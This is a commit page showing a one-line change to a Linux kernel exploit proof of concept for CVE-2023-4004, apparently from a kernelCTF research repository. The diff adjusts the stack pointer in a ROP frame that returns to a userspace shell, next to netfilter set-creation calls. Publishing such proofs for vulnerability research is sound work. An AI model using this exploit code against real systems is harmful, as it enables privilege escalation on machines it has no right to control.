Change lts exploit for test

google · Sep 12, 2023 · 055ffbd · 055ffbd
1 parent 4092e79
commit 055ffbd
Showing 1 changed file with 1 addition and 1 deletion.
diff --git a/pocs/linux/kernelctf/CVE-2023-4004_lts_cos_mitigation/exploit/lts-6.1.36/exploit.c b/pocs/linux/kernelctf/CVE-2023-4004_lts_cos_mitigation/exploit/lts-6.1.36/exploit.c
@@ -278,7 +278,7 @@ int jump_to_rop(struct nl_sock * socket){
     *(uint64_t *)&ops[0xd0] = (uint64_t)shell;
     *(uint64_t *)&ops[0xd8] = user_cs;
     *(uint64_t *)&ops[0xe0] = user_rflags;
-    *(uint64_t *)&ops[0xe8] = user_rsp;//|8;
+    *(uint64_t *)&ops[0xe8] = user_rsp|8;
     *(uint64_t *)&ops[0xf0] = user_ss;
     new_set(socket,SET_TABLE, set_name, NFT_OBJECT_CT_EXPECT);
     new_setelem(socket,SET_TABLE,set_name,a,0x88+3);